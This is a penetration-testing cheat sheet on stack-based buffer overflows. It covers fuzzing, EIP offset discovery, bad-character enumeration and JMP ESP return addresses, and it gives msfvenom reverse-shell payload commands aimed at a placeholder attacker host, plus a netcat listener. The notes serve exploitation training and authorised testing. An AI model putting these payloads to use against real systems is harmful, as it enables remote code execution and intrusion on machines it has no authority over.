Buffer Overflow (stack based)

In general Buffer overflow breaks the following pattern:

Input -> Fixed buffer or format string == overflow

❗ Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) are internal security mechanisms in Windows and Linux, but can be bypassed. Linux also has the stack-smashing protection Stack Canaries.

➡ Vulnerability description for reporting available in VulnDB (GitHub)

CPU Registers

These registers are important for stack based buffer overflows:

  • The Stack Pointer (ESP): keeps track of the most recently referenced location on the stack.
  • The Base Pointer (EBP): pointer to the top of the stack.
  • The Instruction Pointer (EIP): pointer to the next code instruction to be executed.

Assembly Debuggers

Use Immunity Debugger for Windows and Evans debugger (EDB) for Linux.

Detection

Source code review

  • These functions in C language are often vulnerable if no prior input validation: strcpy

Reverse engineering

Fuzzing

Create a Python script to interact with the vulnerable application. Start by interacting with normal values to see the normal behavior, then start fuzzing every input field in the application.

Control EIP

To find the right offset to control the EIP register, generate a string (example with 500 bytes). The length is the length of the filler (like A*500).

msf-pattern can have problems with odd numbers. Use an even number instead.

msf-pattern_create -l 500

Replace the filler in the fuzzing script with the generated string. When the vulnerable application crashes, use the EIP register value to find the offset.

msf-pattern_offset -l 500 -q <EIP value>

Find Space for Shellcode

When a JMP ESP would not leave enough space for the shellcode – if ESP points near the end of the buffer – try increasing the buffer size. If the application does not behave in the same way after increase, find if there are any registers pointing to the buffer when the application crashes and jump to this register instead of ESP.

When the chosen register does not point exactly to the start of the buffer

For example if it jumps a few bytes before the buffer, use the space in ESP to add x to the chosen register, where x is the number needed to align perfectly.

Online x86 / x64 Assembler and Disassembler

Bad Characters

Certain characters cannot be used in the buffer, addresses and shellcode payload, because they would be interpreted by the application or protocol.

  • 0x00 (null byte) is often a bad character since it is also the string terminator (in C/C++).
  • 0x0D (return character) has a special meaning with the HTTP protocol.

Send all possible characters in the buffer (part for the shellcode) from 0x00 to 0xFF and observe what happens in the application.

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

Each time a bad character is identified, remove it from the badchars variable and execute the fuzzing script. Do this until 0xFF shows up in the buffer in memory dump (unless 0xFF is also a bad character… 😉 )

When all bad characters are identified, validate what they represent in ascii to understand why they cause problems.

( man ascii | cut -c 20- ; man ascii | cut -c 66- ) | grep -E "^(00|...|...)"
for i in 20 66; do man ascii | cut -c ${i}- | grep -E "^(00|...|...)"; done

Return address

The shellcode will be place at the address in the ESP register, but this address changes at each execution. We need to find a JMP ESP instruction at a static address that we could use in the EIP register to indirectly jump to ESP.

We can use libraries with the following criteria:

  • Addresses used in the library must be static (always the same), so NOT compiled with ASLR support.
  • The address of the JMP ESP instruction must NOT contain any of the bad characters.

When choosing a library/module, look at the base address. It must not contain a bad character. For example if 0x00 is a bad character and library base address is 0x00123456, all instruction addresses will contain 0x00…… so they will all contain the bad characters.

💡 When Data Execution Prevention (DEP) is enabled for a library, the JMP ESP address needs to be located in the .text code segment of the library.

Convert assembly instruction to binary or hex representation (opcode)

This can be any JMP register instruction, adapt as needed.

msf-nasm_shell
jmp esp
exit

Search for the opcode in the library

Refer to specific Assembly Debugger page.

Do not forget to validate that the address does not contain any bad characters.

Update the POC

Update the POC with the return address for EIP.

❗ Address in EIP must respect the endian byte order.

  • Little endian: most widely used, x86 and AMD64 architectures. Address in reverse order: 0x12345678 will become \x78\x56\x34\x12
  • Big endian: Sparc and PowerPC architectures

See exploit_bo_HTTP.py.

Generating the shellcode payload

A standard reverse shell payload requires approximately 350-400 bytes of space. Increasing the buffer length too much can break the buffer overflow condition and result in a different crash if the buffer overwrites additional data on the stack that is used by the application.

The shellcode is not executable as is because of the encoding. It is prepended by a decoder stub that will iterate over the encoded shellcode bytes and decode them back to their original executable form. This is why we need to add a NOP sled (10 NOP instructions should be enough).

Basic non-staged windows reverse shell

See Metasploit. Do not forget to remove bad characters using encoding. Use EXITFUNC=thread so the application does not stop when the reverse shell is terminated.

KALI_IP=x.x.x.x
PORT=443
msfvenom -p windows/shell_reverse_tcp LHOST=${KALI_IP} LPORT=${PORT} EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0d\..."

Basic non-staged linux reverse shell

KALI_IP=x.x.x.x
PORT=443
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$(KALI_IP) LPORT=${PORT} EXITFUNC=thread -f py -b "\x00\x0d\..." -v shellcode

Start a listener on Kali

Netcat will NOT work for staged payloads.

sudo nc -lnvp 443

Useful commands

Binary to decimal

echo "$((2#1011))"

Hex to decimal

echo "$((16#AA))"